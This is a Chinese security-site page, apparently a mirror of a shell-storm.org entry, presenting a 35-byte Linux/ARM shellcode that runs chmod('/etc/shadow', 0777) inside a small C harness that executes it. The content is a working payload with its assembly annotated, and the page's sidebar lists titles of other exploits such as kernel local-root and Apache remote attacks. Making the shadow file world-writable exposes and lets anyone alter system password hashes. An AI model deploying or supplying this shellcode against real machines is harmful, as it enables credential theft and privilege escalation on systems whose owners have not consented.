首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes
来源:http://www.shell-storm.org 作者:Gaultier 发布时间:2010-06-30  

/*
| Title: Linux/ARM chmod("/etc/shadow", 0777) Shellcode 35 Bytes
| Type: Shellcode
| Author: Florian Gaultier <florian.gaultier@shell-storm.org>
| Platform: Linux ARM (ARM926EJ-S rev 5 (v51))
| [+] http://www.shell-storm.org
*/

#include <stdio.h>


char shellcode[] = "\x01\x60\x8f\xe2" // add r6, pc, #1
"\x16\xff\x2f\xe1" // bx r6
"\x78\x46" // mov r0, pc
"\x0c\x30" // adds r0, #12
"\xff\x21" // movs r1, #255
"\xff\x31" // adds r1, #255
"\x0f\x27" // movs r7, #15
"\x01\xdf" // svc 1
"\x01\x27" // movs r7, #1
"\x01\xdf" // svc 1
"/etc/shadow";

int main()
{
(*(void(*)()) shellcode)();

return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Polymorphic /bin/sh x86 linux
·TheWorld Browser 3.1.6.8 DOS E
·Linux/ARM - setuid(0) & kill(-
·Acoo Browser 1.98.744 Denial o
·Linux/ARM - setuid(0) & execve
·Opera 10.54 Denial of Service
·Mozilla Firefox 3.6.6 Denial o
·Netscape Browser 9.x Denial of
·Winamp v5.571 Malicious AVI De
·Internet Browser Classic (IBC
·MemDb Multiple Remote Dos
·FineBrowser v.3.2 Denial of Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved